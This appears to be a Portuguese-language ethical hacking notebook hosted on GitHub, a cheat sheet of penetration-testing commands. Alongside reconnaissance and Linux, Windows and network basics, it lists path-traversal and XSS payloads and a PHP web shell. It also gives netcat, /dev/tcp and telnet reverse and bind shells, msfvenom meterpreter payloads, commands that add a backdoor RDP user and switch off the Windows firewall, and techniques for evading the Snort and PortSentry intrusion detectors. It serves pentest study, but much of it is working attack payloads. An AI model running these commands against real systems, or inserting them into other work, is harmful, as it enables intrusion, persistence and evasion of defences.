Skip to content

YgorAlberto/ygoralberto.github.io

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

BLOCO DE ANOTAÇÕES DE UM HACKER ÉTICO

GUIA PARA INICIANTES EM CIBERSEGURANÇA

PAGINA CONTENDO OUTROS COMANDOS DE WINDOWS E LINUX

MAPA MENTAL PARA PENTESTERS

COMANDOS RÁPIDOS

nmap -vv -sUV -sC -O -p- -A --script vuln -Pn --open -oN saida-save 10.10.10.0/24

.

ncrack -U user-file -pass senha -p smb -iL host-list

.

cat saida-nmap.txt | grep \tcp | cut -d "/" -f 1 | grep -v ports | sort -un | tr '\n' ',' > all_ports

.

gobuster dir -u http://HOST/ -w /usr/share/dirb/wordlists/big.txt -k -t 100 -e --no-error -r -o gobuster -a Mozilla/5.0 --exclude-length 123456 -x php,bkp,old,txt,xml,cgi,pdf,html,htm,asp,aspx,pl,sql,js,png,jpg,jpeg,config

.

ffuf -u http://site/FUZZ -w /usr/share/dirb/wordlists/big.txt -c -t 100 -e .php,.bkp,.old,.txt,.xml,.cgi,.pdf,.html,.htm,.asp,.aspx,.pl,.sql,.js,.png,.jpg,.jpeg,.config -o output-site-raiz.html -of html

.

/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd%00

.

/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

.

%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

.

/../../../../../../../../../../etc/passwd

.

;dir;#

.

<script>alert('Pentester')</script>

.

<?php system($_GET['hacker']);?>

.

<?php system('id');?>

.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <your_IP> 4444 >/tmp/f

.

python3 -m http.server 8080

.

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.16 lport:443 -f ext -o name.ext

.

python3 -c 'import pty;pty.spawn("/bin/bash")'

.

net user suporte 12345 /add

.

net localgroup "Remote Desktop Users" suporte /ad

.

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

.

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f

.

NetSh Advfirewall set allprofiles state off

. . . . . . . . . . . . .

Ferramentas After Formating

sudo apt install seclists sudo apt install hakrawler sudo apt ...

VPN

Configurar a VPN para autenticar automaticamente usando login e senha em um arquivo externo, sendo lido pelo .ovpn. Na linha auth-user-pass informe o arquivo com as credenciais. Ex.: auth-user-pass credenciais

DOMINANDO TERMINAL LINUX

Tags: comandos terminal | comandos linux

ifconfig eth0 192.168.2.50 netmask 255.255..

Modifica o IP até reiniciar a máquina

nano /etc/network/interfaces

Arquivo de configuração das interfaces de redes

/etc/init.d/networking/ restart

Reinicia o adaptador de rede para as configurações padrão PORÉM apenas se no arquivo interfaces estiver com DHCP, caso esteja com STATIC irá pegar o IP de lá.

route -n M

Mostra a rota atual e o GATEWAY

route del default

Delete a rota (GATEWAY) do adaptador de rede

route add default gw 192.168.1.1

Adiciona o IP da rota default

netstat 

Status da rede (detalhadamente usando as flags)

netstat -lntp
netstat -vatunp

Lista os serviços Portas Nomes no protocolo TCP rodando atualmente

service ssh start/stop/restart

Inicia ou para o serviço de SSH

vi

Leitor de texto. I: Insere dados; DD: Deleta a linha; WQ: Sai salvando; Q!: Sai sem salvar

apt search php

Procure por opções de instalação do programa informado

dpkg -l

Exibe os pacotes .deb instalados com o DPKG

update-rc.d ssh enable

Habilita permanente o serviço ssh

locate #find /pasta/ -name #whereis #which 

Buscadores de arquivos/programas (updatedb atualiza base)

grep -E -e 'termo1|termo2' arquivo.txt

Grep com dois termos na pesquisa para printar

grep -B 4 -A 1 "sua linha específica" arquivo.txt

Faz a busca pela palavra e exibe linhas acima e linhas abaixo de acordo com a quantidade

grep "procura" /arquivo/

Busca procura no arquivo e exibe a linha

grep -v "procura" /arquivo/ 

Exibe o que não tem procura no arquivo e exibe a linha

grep -r "palavra dentro do arquivo" 

Procura dentro dos arquivos dos diretórios as palavras nas "

awk -F : '{print "O usuario " $1 " Tem dir " $6}' /etc/passwd

Procura avançada no arquivo

cut -d : -f1,6 /etc/passwd 

Faz os mesmo do comando acima

sed -i 's/troca/porisso/g' test.txt 

Faz substituição de nomes nos arquivos usar ^ para add algo no início da cada linha

sed '/sss/a linha depois' teste

Insere um texto especifico depois ou antes da palavra da linha informada, para inserir antes usar o i no lugar do a

sed -i.bak -e '5,10d;12d' file

Deleta a linha informada no exemplo é da linha 5 até 10 e a linha 12. Esse comando ja salva no arquivo remover o -i.bak para printar o resultado

cat file.txt | tr '\n' ','

Ler o arquivo que esta em lista e coloca tudo em uma só linha separando os itens por virgula

cat saida-nmap.txt | grep \tcp | cut -d "/" -f 1 | grep -v ports | sort -un | tr '\n' ',' > all_ports

Pega a saída do NMAP e separa as portas para fazer um ataque mais direcionado.

cat list.txt | awk '{gsub(/word/, "\033[31m&\033[0m")} 1'

Printa todo o arquivo passado highlighting/marcando uma palavra passada usando cat e awk

ls -la 

Exibe os arquivos ocultos

rm -rf nome-da-pasta 

Remove todos os arquivos da pasta

watch -nt1 'ls -la /tmp'

Assiste o output do comando informado

DOMINANDO O PROMPT DE COMANDO WINDOWS

Tags: criar usuarios cmd | comandos cmd | cmd windows

%cd% 

É semelhante ao pwd

cd \ 

Vai para raiz

echo ygor ygor.txt 

Cria arquivo com nome ygor dentro

type arquivo.txt

Semelhante ao cat

move arquivo.txt ../

Move arquivo para pasta anterior

del arquivo.txt

Deleta arquivo

attrib +ou-h pasta/diretório

Ocultar/desocultar diretório

dir /a 

Lista arquivos ocultos

rmdir /s 

Remove diretório

dir /s ygor.txt 

Procura arquivo

tasklist

Lista as tarefas

net user

Lista os usuários

net user usuario s3nh4 /add

Adiciona um usuario

net user usuario /delete

Remove usuario

net localgroup "Remote Desktop Users" kidman /add

Add usuario ao grupo remote users

Adicionar usuários

VISÃO GERAL SOBRE WEB E HTTP

Melhorar segurança servidor apache: Remover do arquivo de configuração /etc/apache2.conf a palavra indexes nas confs do diretório /var/www/ Trocar em /etc/apache2/conf-enabled/security.conf em ServerTokens de OSpara Prod e em ServerSignature colocar Off

nc -v www.kidmancorp.com.br 80 

Printa o site no terminal

Colocar na entrada da conexão GET / HTTP/1.0 ou no lugar de GET HEAD, OPTIONS

printf "HEAD / HTTP/1.0\r\n\r\n" | nc kidmancorp.com.br 80

Faz a mesma coisa do comando acima

curl -v kidmancorp.com.br 

Faz a mesma coisa do comando acima

ANALISE DE LOGS

cat access.log | cut -d " " -f1 | sort | uniq -c | sort -unr 

Lista os IPs em ordem decrescente por quantidade de requisição:

cut -d " " -f1  

-d é o delimitador e -f1 é a coluna que deseja imprimir

sort 

Printa a saída em ordem; -u printa única vez; -r ordem reversa; -n ordem crescente

uniq -c 

Printa a saída com a quantidade de vezes que um item aparece

head -n1  

Printa a primeira saída

tail -n1 

O oposto do head

TCP/IP PARA PENTESTERS

macchanger -t eth0

Troca o MAC da placa randomicamente -p volta ao original

ipcalc 192.168.0.211/255.255.255.0 

Apresenta uma saída de cálculo de IP

arp -an 

Exibe informações guardadas do ARP na máquina local

ANALISADORES DE PROTOCOLOS

printf  "%d\n" 0x(code hex) 

Decifrar código em hexadecimal

  • Análise de código de um pacote

Os 6 primeiros é o MAC de destino os 6 próximos é o MAC de origem os próximos 2 é o Protocolo o restante é o Payload:

d4 ab 82 45 c4 0c 00 0c 29 76 43 e1 08 00 45 00
02 37 2c c0 40 00 40 06 77 32 c0 a8 00 0a 25 3b
ae e1 a9 fe 00 50 ff 4d 66 60 dd cb e4 96 80 18
00 e5 96 f8 00 00 01 01 08 0a f7 cb 2f 62 41 1c
2e df 50 4f 53 54 20 2f 69 6e 74 72 61 6e Payload... 

Conversor de Hexadecimal Conversor de pacotes Decifrador de códigos (CyberChef)

Socket significa IP e porta

  • Comandos úteis para Wireshark e TCPDUMP

.

tcpdump -vvvxr monitoramento.pcapng 'tcp[tcpflags] & (tcp-syn|tcp-ack) == (tcp-syn|tcp-ack)' 

Encontra as portas abertas Orig > Dest

tcp contains "palavra desejada"

Procura nos pacotes a "palavra desejada"

tcp contains "%PDF-"

Procura nos pacotes donwload do pdf

ip.addr == 192.168.0.123

Filtra os pacotes pelo IP

Ip.connection.synack

Filtra pacotes com FLAGs SYN e ACK

tcp.port == 443

Filtra a porta 443 nos pacotes capturados

dns 

Procura pacotes que usaram o serviço DNS

BASH SCRIPTING (LINUX)

#!/bin/bash
#!/bin/sh
#Meu primeiro Script
echo "Imprime alguma coisa" # comando para imprimir uma saída
echo "tempo em que o PC está ligado: " $(uptime -p)
echo "diretório: " $(pwd)
echo "User: " $(whoami)
echo "Infome o IP"
read ip
porta=80
echo "varrendo o host: " $ip "Na porta: " $porta
echo "====================================="
echo "digite o serviço a ser iniciado"
read var1
service $var1 restart
echo "--------Serviços ativos------"
ps aux | grep $var1
echo "--------Portas abertas: -----------"
netstat -nlpt
echo {1..10} printa do 1 ao 10 (sequência)
seq 1 100 Printa sequencia de forma vertical 
for ip in {1..10}; do echo 192.168.2.$ip;done
while true; do echo "Hacked"; done
sed 's/.$//' Substitui o último caractere
sed 's/^.//' Substitui o primeiro caractere
sed 's/^/inicio/' Insere no início da linha
sed 's/$/final/' Insere no final da linha
hping3 -S -p 80 -c 1 host Pingar porta específica

1> STDOUT

2> STDERR

0> STDIN

grep "href" index.html | cut -d "/" -f 3 | grep "\." | cut -d '"' -f 1 | grep -v "<li" > parsinglist

Faz um parsing em uma pagina trazendo os links que a mesma possui.

for url in $(cat parsinglist);do host $url | grep -v "NX";done

Pega a saída do pasring acima e gera a lista de IP dos links capturados.

for ip in $(cat hostsativoVPNkidman);do hping3 -SA -p 1337 $ip;done                                                                                             

Pega a lista de IP e faz um teste na porta 1337 para saber se a mesma está aberta.

Port Knocking:

knock 192.168.0.20 254 785 135 -d 500

Ferramenta que faz o portknowcking no host e portas passadas.

POWERSHELL PARA PENTESTERS

Script POWERSHELL

param($param1)

if ("!$param1"){
    echo "Digite um Parâmetro para leitura"
}else{
    ping -n 1 $param1 | Select-String "bytes=32"
}
echo "Ygor Offensive Security Expert"
$nome = Ygor
echo "Qual seu nome: $nome"
$ip = Read-Host "Digite o IP:"
$port = 443
echo "Varrendo o host: $ip na porta: $port"
echo "Executando pinga no host informado"
ping -n 1 $ip | Select-String "bytes=32"
foreach ($var1 in 1..10) {echo 10.0.0.$var1}
param($p1)
foreach ($ip in 1..254){
ping -n 1 $p1.$ip | Select-String "bytes-32"
}

Comandos Windows equivalentes no LINUX

Tratamento de erro: try catch

Negação ou ausência no IF é !

Semelhante ao GREP: Select-String "bytes=32"

Semelhante ao CUT -D: $resp.Line.split(' ')[2] -replace ":"," "
  • Port Scan on PowerShell

.

param($ip)
 if (!$ip){
	echo "Tratativa de erro"
	echo "Informe o Host"
}else{
$topports = 21,22,3306,80,443
try{foreach ($porta in $topports){
if (Test-NetConnection $ip -port $porta -WarningAction SilentlyContinue -InformatioLevel Quiet)
	echo "Porta $porta Aberta"
}} else {
	echo "Porta $porta Fechada"
}} catch {}
}
  • Comandos POWERSHELL WEB

.

Invoke-WebRequest www.kidmancorp.com.br -OutFile index.txt
        -Method options/header
(Invoke-WebRequest www.kidmancorp.com.br).statuscode/content/links.href/header.server

SWISS ARMY KNIFE

Netcat é o famoso canivete suíço

nc 192.168.2.1 80 

Conexão usando NETCAT

nc -vnlp 8080 

(verbose|não traduz IP|listening|port) Abrindo uma porta usando

nc -vnlp 80 < banner

Abre a porta 80 e carrega o arquivo quando fechado o netcat

nc -vnu 192.168.2.1 80 

Conexão usando NETCAT

nc -vnlup 8080

(verbose|não traduz IP|listening|udp|port) Abrindo uma porta usando

  • Copiando arquivos entre hosts com o NETCAT

.

nc -vnlp 5050 < arquivo.ext 

Abre a conexão com o nome do arquivo que vai receber.

nc -v 192.168.0.10 5050  < arquivo.ext 

Conecta enviando o arquivo para a porta aberta do destino.

du -h arquivo.ext 

Verifica o tamanho do arquivo enviado e compara para certificar a integridade.

  • Port Scanning

.

nc -vnz 192.168.0.10 80 

Escaneia a porta 80 do IP

nc -vz www.kidmancorp.com.br 80  

Escaneia a porta 80 do site

nc -vnz 192.168.0.10 20-1024 

Escaneia da porta 20 à 1024

for ip in $(cat portlist);do nc -vnz 192.168.1.5 $ip;done 

PortScan usando um arquivo

  • HoneyPot

.

while true;do sudo nc -vnlp 21 < 21.txt 1>> log21.txt 2>> log21.txt; echo $(date) >> log21.txt;done

Comando para abrir a porta 21 e monitorar com banner e captura de logs

nc -vnlp 21& 

Abrir porta e deixar em background (dentro de script)

Nota: Bind Shell x Reverse Shell: Bind abre a porta no servidor alvo e Reverse abre a porta na máquina atacante!

nc -vnpl 5050 -e /bin/bash 

BIND SHELL disponível para conexão no Linux

nc -vnpl 5050 -e cmd.exe 

BIND SHELL disponível para conexão no Windows

nc -vn 192.168.0.1 5050 -e cmd.exe 

REVERSE SHELL disponível para conexão no Windows

nc -vn 192.168.0.1 5050 -e /bin/bash 

REVERSE SHELL disponível para conexão no Linux

Nota: É possível usar uma porta que esta com o status fechada no nmap e burlar o firewall É possível conectar com reverse shell quando o firewall bloqueia no servidor qualquer conexão de entrada. Com o firewall bloqueando entrada e saída, abre uma porta no atacante que já está aberta no alvo e conecta o alvo via reverse no atacante.

Ncat

openssl req -x509 -newkey rsa:2048 -keyout chave.pem -out cert.pem -days 10

Criando certificado ssl para a comunicação no NCat.

ncat -vnlp 8443 --ssl-key chave.pem --ssl-cert cert.pem

Abre a porta de forma criptografada --allow 192.168.0.5 (permite conexões apenas do host informado).

ncat -vn 192.168.2.200 8443 --ssl 

Conectando de forma encriptada.

Socat

socat tcp4-listen:2222 

Alternativa para netcat o - serve para não precisar passar os dois endereços

socat tcp4:192.168.2.106:555

Conectando na porta do alvo

socat tcp-listen:4444 EXEC:/bin/bash

Ganhando acesso ao shell

Telnet

telnet www.kidmancorp.com.br 80 21

Opção alternativa ao NC, ftp...

Alternativa para conexão reversa usando telnet:

Abrir duas portas na máquina atacante 4444 e 4445 e executar o comando no alvo: telnet 172.23.58.96 4444 | /bin/bash | telnet 172.23.58.96 4445

DEV/TCP

echo "Mensagem" > /dev/tcp/192.168.2.106/4444 

Conecta com o host com a porta aberta

 >/dev/tcp/192.168.2.106/4444 && echo "Porta aberta" 

PortScan

bash -i > /dev/tcp/192.168.2.106/4444 0>&1 2>&1 

Envia o bash para o destino e os erros e saídas aparecendo para o destino

INFORMATION GATHERING - BUSINESS

hunter.io 

Procura por emails apenas informando o domínio do site.

http://pwndb2am4tzkvold.onion

procura por dados em LEAKS

Usando TOR no firefox

Instala o tor e proxychains, no arquivo de configurações do proxychains adiciona a linha do socks5 e no firefox add o ip e porta do proxy.

https://github.com/jdiazmx/karma 

Consulta local de LEAKS com TOR instala o KARMA inicia o TOR e usa para consultar LEAKS

site:pastebin.com "senhas" 

Procura por palavras "senhas" no site pastebin

site:trello.com "senhas" 

Procura por palavras "senhas" no site pastebin

urlcrazy domainname.com 

Procura domínios similares ao da entrada

Google Hacking:

filetype: intext: inurl: :.com.br 

Google hacking para pesquisas avançadas

cache: url.com.br/do/site/indisponível

Pesquisa o cache do site que não está mais disponível

exploit-db.com/google-hacking-database 

Base de pesquisas no google Dorks

firefox 'https://google.com/search?q=site:site.com.br+inurl:exemplo' 

URL comando para google hacking

lynx site.com 

Navegador por linha de comando

iana.org/whois 

Procura por endereços direto da fonte na IANA

lynx --dump 'https://google.com/search?q=site:site.com.br+ext:pdf'  

Faz um dump com o navegador com linha de comando por PDF

wget -q 

Não apresenta a saída

whois -h iana.org/whois site.com.br 

Força usa a iana na pesquisa

Client.rdap.org

Alternativa para o whois

Nota: ASN e NETBLOCK Asn é um provedor que precisa de vários netblocks (Blocos de IP)

INFORMATION GATHERING INFRA

Mapear bloco de IP do alvo: search.arin.net/rdap/ OU WHOIS com IP

inetnum é o bloco de ip

aut-num é o ASN (caso tenha)

Não retornando nada pode ser que o IP apresentada não pertença à empresa nesse caso com o host pega-se a segunda saída e verifica o IP

Border Gateway Protocol (bgp.he.net e bgpview.io, praticamente tudo está aqui)

Shodan

Pesquisa avançada por domínios, portas, IPs, câmeras, espalhadas pelo mundo

hostname: Nome do site
os: Sistema operacional
port: Porta
IP: IP
net Busca por rede
country: País
city:  cidade
geo Geolocalização
org Por uma organização
"": Procura por termo

shodan init chaveapi 

Inicia uma sessão via terminal do Shodan 12

shodan count country:br port:445 contabilidade 

Procura e mostra a quantidade de host disponíveis

shodan search --fields ip_str,org,port,hostnames country:br port:445

shodan host 201.147.25.236

Censys

Basicamente a mesma função do SHODAN

location.country_code: BR AND metadata.os: windows 80.http.get.title: TI 

Busca no Censys parecida com as buscas feitas no shodan

Domain Name System

host -t A site.com 

Busca IPv4

host -t mx site.com 

Busca informações do servidor de EMAIL

host -t ns site.com 

Servidores primarios e secundarios ou mais

host -t hinfo site.com

Informações do site

host -t aaaa site.com 

Retorna infor do IPv6

host -t txt site.com 

Retorna strings em texto info do TXT com configurações do SPF (email)

Host for server in $(host -t ns kidmancorp.com.br | cut -d " " -f7);do host -l -a kidmancorp.com.br $server;done 

Verificando vulnerabilidade de transferência de zona no DNS com o comando

for domain in $(cat wordlist.txt);do host -t a $domain.site.com.br | grep -v "NXDOMAIN";done

Descoberta de HOST por Brute Force

for ip in $(seq 220 239);do host 48.60.285.$ip;done

Descoberta de Domínios por IP

host -t txt kidman.com.br 

Irá retornar os códigos do SPF sabendo se é vulnerável ou não então, realizar teste de envio spoofing: Email Sender: https://emkei.cz/

SPF = Verifica quais servidores estão autorizado enviar emails em seu domínio

?all Libera tudo
~all Libera mas com alerta de perigo
-all recomendado

Subdomain Takeover

host -t cname kidmancorp.com.br

Verifica para onde aponta o Alias possibilitando testar se o Alias existe ou não, podendo assim registrar se possível e ter domínio sobre o registro apontado.

host -t hinfo kidmancorp.com.br

Verifica mais informações do domínio apresentado.

for domain in $(cat wordlist.txt);do host -t cname $domain.$1 | grep "alias for";done

Apresenta os CNAMEs (ALIAS) do SubDomínio encontrado, podendo ou não ser vulnerável.

dig -t ns site.com.br 

Alternativa do comando host

dig -t  axfr site.com $ns2.site.com 

Semelhante ao host, faz a tentativa de transferência nos srv de name servers

Ferramentas de Enumeração já pronta

dnsenum site.com 

Enumeração de DNS, brute force etc.

dnsrecon site.com 

Apresenta as possíveis vulnerabilidades do domínio

fierce -dns site.com  

Apresenta as possíveis vulnerabilidades do domínio com bruteforce

Pesquisa passiva sobre domínio

Virus Total:

DNS Dumpster:

Security Trails:

Sites de análises de certificado pesquisas por possíveis subdomínios vulneráveis

CRT SH:

Transparency Report:

INFORMATION GATHERING WEB

robots.txt e sitemap.xml

Contém informações de links das páginas do site, em Robots contém as páginas que não são indexadas pelo google.

wget -m site.com 

Mirror website, copia todos os arquivos e páginas para a máquina (clona website).

wget -m -e robots=off  site.com 

Mirror website, copia todos os arquivos e páginas para a máquina (clona website) sem se importar com o arquivo robots.

nc -v site.com 80 HEAD / HTTP/1.0 host:site.com 

Comando serve para testar um domínio específico quando há vários no alvo.

dirb website.com

Faz bruteforce de diretórios /caminho/da/wordlist/

dirb website.com -a agenteoculto -X .php 

Faz bruteforce de diretórios sem ser percebido

curl -v site.com.br 

Faz um CURL do site com verbose

curl -I site.com.br/asdaf.aspx 

Força mostrar o banner com a versão do ASP.NET PHP JS...

curl -v -H "User-Agent: Kidman Tool" site.com.br 

Burlando o user agent

curl -s -o /dev/null -w "%{http_code}" kidmancorp.com.br 

Pegando o código da requisição

curl -v imap://camila:ca123456@email.site.com.br/INBOX?NEW 

Conecta com IMAP e retorna OK da conexão com a quantidade de emails na caixa

whatweb site.com.br 

Faz uma busca geral no site e traz informações importantes -v verbose

whatweb -v --user-agent 'nome aleatorio' site.com 

Wappalyzer Plugin para pegar informações do site como banco, linguagem, tecnologias em geral

SCANNING

traceroute site.com 

Faz uma análise de saltos do host. -w tempo de espera, -m Máximo de saltos, -f início da contagem dos saltos, -A indica os ASs dos hosts -n não Nomeia os hosts, -I usar o ICMP, -T TCP, -p porta do alvo, -U UDP na porta 53

iptables -nL 

Lista as regras do iptables

iptables -F 

Limpa as regras do iptables

iptables -P INPUT DROP 

Dropa todos os pacotes na corrente de entrada

iptables -A INPUT -p tcp --dport 80 -s 192.168.2.20 -j ACCEPT 

Libera o acesso apenas do host informado na flag -s na porta 80, regra de entrada. --reject-with tcp-reset Dribla o nmap com a reason reset

fping -a -g 192.168.2.0/24 

Varre toda a rede com o ICMP a fim de mostrar os hosts ativos.

arping -c 1 192.168.2.10 

Semelhante ao ping para descobrir hosts com block ping na rede

arp-scan -l  

Varre os hosts já identificados

tcpdump -vn -i wlan0 host 192.168.2.10 and 192.168.2.10  

Escuta a comunicação de dois hosts

nmap -sn 192.168.2.10 

Varrer o hosts e saber se está ativo ou não

nmap -sn 192.168.2.10 -oN normal.txt 

Varrer o hosts e saber se está ativo ou não e salvar em um arquivo, N normal, X xml e G grapable possibilitando usar filtros.

nmap -sS -p 80 -Pn 192.168.2.10 --reason 

Retorna se a porta 80 está aberta ou não mostrando a razão

Nota:TCP connect envia RESET depois do 3WHS No firewall, o certo é bloquear tudo e liberar apenas o que é necessário Nmap em /usr/share/nmap/scripts É encontrado vários scripts para uso em diversos serviços. No ping pode-se usar o -w 1 para ser feito o ping mais rápido

nmap -sT -p 80 site.com 

Exemplo de TCP Connect (PortScan)

nmap -v -sTV -p 69 site.com 

Exemplo de TCP Connect Scan Port ENUMERATION - Banner Grab

HalfOpen/Syn Scan 

Envia um RESET depois de SYN/ACK do host

nmap -sS --top-ports=5 site.com 

Exemplo de HalpOpen

Flags NMAP: -sF  

Envia flag FIN para o host e retorna open|filtered, Semelhante ao -sN

iptables -nvL 

Saída mais detalhada com o consumo de Bytes

iptables -A INPUT -s 192.168.2.102 -j ACCEPT

Grava os pacotes de entrada do host em -s

iptables -A OUTPUT -d 192.168.2.102 -j ACCEPT

Grava os pacotes de saída do host em -d

iptables -Z

Zera todas os registros de Bytes gravados

nmap -v -sU -p 69 site.com

Exemplo de UDP Connect Scan Port

nmap -v -sUV -p 69 site.com

Exemplo de UDP Connect Scan Port ENUMERATION

hping3 --udp -p69 192.168.2.102

Exemplo de UDP Connect Scan Port

  • Network Sweeping

.

nmap -v -sn 192.168.2.0/24 -oG ativos.txt 

Coloca os hosts UP e Down no arquivo ativos.txt

grep "up"cut -d " " ativos.txt  | cut -d " " -f 2 > hosts 

Filtra pelos hosts UP e coloca em hosts

nmap -sS -p 80 --open -Pn -iL hosts -oG web.txt 

Ler hosts da lista e apresenta os com port 80 open

nmap -sSV -p 80 --open -Pn -iL hosts -oG web.txt 

Banner grabbing das portas abertas

grep "Apache" web.txt 

Filtro pelo serviço da porta

nmap -sS -p 139,445 --open -Pn -iL hosts -oG share.txt 

Varre os hosts com as portas e salva em share

nmap -sS -p 21,22,23,3389 --open -Pn -iL hosts -oG remote.txt 

Varre portas e salva em remote

nmap -sS -p 3306,1433 --open -Pn -iL hosts -oG db.txt   

Varre portas e salva em db

nmap -sS -p http* --open -Pn iL hosts -oG coringa.txt  

Varre portas com coringa e salva em coringa

Identificando serviços

nmap -v -sV -Pn 192.168.1.2 

Pegando o Banner de todas as portas abertas

  • Enganando o atacante

Nota: /etc/services -> mostra os serviços e as suas respectivas portas padrões

nano etc/ssh/sshd_config 

Acessa e modifica a porta para enganar o atacante.

sudo apt install bless 

Programa para alterar códigos em hexadecimal.

cp usr/sbin/sshd /home/user/desktop 

Cópia de segurança do arquivo. Procura pelo banner e altera para enganar o atacante.

  • OS Fingerprinting

Parâmetros que podem identificar um Windows:

    RDP.3389-Implementação da pilha TCP/IP-NMAP -O / -A

Identificar o SO pelo TTL (caso esteja padrão)

    Win ttl 128 

    Linux ttl 64 

    FreeBSD ttl 64 

    Solaris ttl 255 

    CISCO ttl 254
  • Conectando e lendo mensagens de email via comando

IMAP

nc - v mail.servidor.com 143 

Conecta-se ao servidor de email

    A1 login usuário s3Nh4  autentica no servidor após conectado

    g21 SELECT "INBOX" 

Printa as respostas sobre a caixa de entrada

    F1 fetch 1 RFC822 

Lista a mensagem 1

    s search draft 

Procura pelos rascunhos

curl -v imap://camila:ca123456@email.site.com.br/INBOX?NEW 

Conecta com IMAP e retorna OK da conexão com a quantidade de emails na caixa

POP

nc -v mail.servidor.com 110 Conecta com o servidor de email POP

    USER username - Usuário da conta

    PASS password - Senha da conta

    LIST - Lista a quantidade mensagens e o tamanho

    STAT - Apresenta as quantidade de mensagem

    RETR 1 - Ler a mensagem 1

SMTP

nv -v 192.168.2.101 25 Conecta na porta SMTP

HELO Lista info do servidor

    EHLO Lista comandos aceitos e mais infos do server

    HELP Lista os comando aceitáveis pelo servidor

    VRFY root Ele informa se o usuário root existe ou não

    mail from: pentest Envia email usando o servidor

    mail to: root Destinatário do email com o assunto posteriormente e com verificação de user existente

    DATA ... Digita a mensagem e finaliza com um ponto e enter

BURLANDO MECANISMOS DE DEFESA

NMAP -v -sS -g 53 192.168.2.10 

Encontrar Portas filtradas pelo firewall. O -g podendo ser trocado por --source-port, é a mesma coisa. Para interagir com a porta descoberta rode nc -vn -p 53 192.168.2.10 8081 e capture o banner! Ou podendo enviar a saída para um arquivo > /var/www/html/recon.html

snort -A fast -q -h 192.168.2.0/24 -c snort.conf 

Monitorar em tail -f alert /var/log/snort/

snort -A console -q -h 192.168.2.0/24 -c snort.conf 

Habilita o IDS e já monitora

Arquivos de regras do snort

alert tcp any any -> 192.168.2.105 any (msg: "Tão te atacando";sid:1000001; rev:1;) 

Cria arquivo com .rules onde o primeiro any é a origem e o segundo a porta de origem o terceiro a porta de destino o IP é da sua máquina. O path do arquivo deve ser adicionado em snort.conf no final.

alert tcp any any -> 192.168.2.105 22 (msg: "Pacote SYN enviado ao SSH";flags:S;sid:1000001; rev:1;) 

Exemplo de portas específicas e filtros de flags. SYN como no setado acima.

alert tcp any any -> 192.168.2.105 80 (msg: "Acesso ao arquivo robots.txt";content:"robots.txt";sid:1000001; rev:1;) 

Exemplo de portas específicas e filtros de conteúdos. robots.txt como no setado acima.

alert tcp any any -> 192.168.2.105 80 (msg: "Possivel SQL Injection";content:"%27";sid:1000001; rev:1;) 

Exemplo de portas específicas e filtros de conteúdos. %27 como no setado acima.

  • Bypass SNORT

Nota:Pegando o exemplo do ICMP, o SNORT captura os pacotes e alerta, o ideal é pegar o arquivo de regras no SNORT e analisar cada alerta emitida no ping. Analisar as regras para saber como burlar as mesmas com outros mecanismos.

ping -c1 -p "6568674124" 192.168.2.105 

Burlando os dados do pacote enviado passando hex diferente

hping3 -c1 -C 8 -K 1 --icmp 192.168.2.105 

Burlando o código do pacote burlando a regra icode para 1

hping3 -c1 -C 8 -K 1 -d 23 --icmp 192.168.2.105 

Burlando o tamanho dos dados para não ser detectado

PortSentry simula portas abertas no host. No portsentry.conf tem as portas que deseja abrir, e a ação a ser tomada quando detectado a intrusão. Marca a opção TCP e UDP como 1 para fazer valer as regras de bloqueio. Habilita ou desabilita a ação padrão ou usa a do IPTABLES

Nota: saída do banner na porta como tcpwrapped é geralmente quando tem algum IPS/IDS/FW bloqueando Se fizer o escaneamento usando a flag do NMAP -sS o IPS não detecta... Para o IPS detectar deve ser modificando o binário do portsentry em /usr/sbin/portsentry executando com a flag -stcp dessa forma fazendo o atacante ser bloqueado. Flag nmap -T é a velocidade das requisições 0,1,2,3,4 e 5 do mais lento para o mais barulhento.

Analisar os arquivos hosts.deny em ETC para ver se tem algum bloqueio de IP.

Bypass PortSentry mesmo com -STCP ativado

nmap -sS --open --top-ports=10 -Pn 192.168.2.105

Analisa as 10 top ports, caso uma dessas portas não esteja configurado no IPS para detectar, caso contrário irá detectar. Podendo aumentar ou diminuir o tempo de processamento do scanner com a flag -T. Flag -D (decoy), Exemplo: nmap -sS --open --top-ports=25 -Pn -D 10.10.2.4,192.168.25.25,10.0.0.14 192.168.2.105 Ou -D RND:50 Pegando 50 endereços aleatórios para misturar

TRABALHANDO COM SCAPY

ls(IP)

Lista as opções customizáveis do pacote IP (TCP)

pIP = IP(dst="192.168.2.1")

Cria variável com o ip de destino.

pIP / pIP.show() / pIP.summary 

Lista o pacote/variável criado(a)

pTCP = TCP(dport=80, flags="S") 

Cria o pacote TCP

pTCP.dport=80, 443, 9090 

Adiciona mais portas ao pacote TCP

pTCP.sport=457889 

Porta de origem no pacote TCP

pacote = pIP/pTCP

Formando o pacote TCP/IP

sr1(pacote)

Enviando Um pacote TCP/IP

sr(pacote)

Enviando vários pacotes TCP/IP é o exemplo de várias portas

resposta = sr1(pacote)

Grava em resposta a saída do envio do pacote

resposta.show()

Mostra a variável criada

resposta[IP].dst

Mostra o atributo dst do pacote IP

resposta[TCP].flags

Mostra o atributo flags do pacote TCP

resp, noresp = sr(pacote)

Grava em resp e no respe as respostas e não respostas respectiv

pacote = pIP/ICMP()/"kidman"

Pacote ICMP com payload "kidman"

pacote = pIP/pTCP/"KidMan"

Pacote TCP com payload "Kidman"

Nota: Requisição de conexão HTTP OPTIONS retorna os métodos de requisições aceitos pela aplicação. Na requisição colocando 1.1 no HTTP é possível especificar o HOST para ir direto ao domínio

ENUMERATION

Tags: Enumeração

openssl s_client -quiet -connect www.tesla.com:443 

Faz uma conexão de forma segura com criptografia seguido do HEAD / HTTP/1.1 HOST www.tesla.com recomenda-se usar o HTTP 1.1

wafw00f tesla.com 

Identificando o firewall que a aplicação está utilizando

ftp host.com 

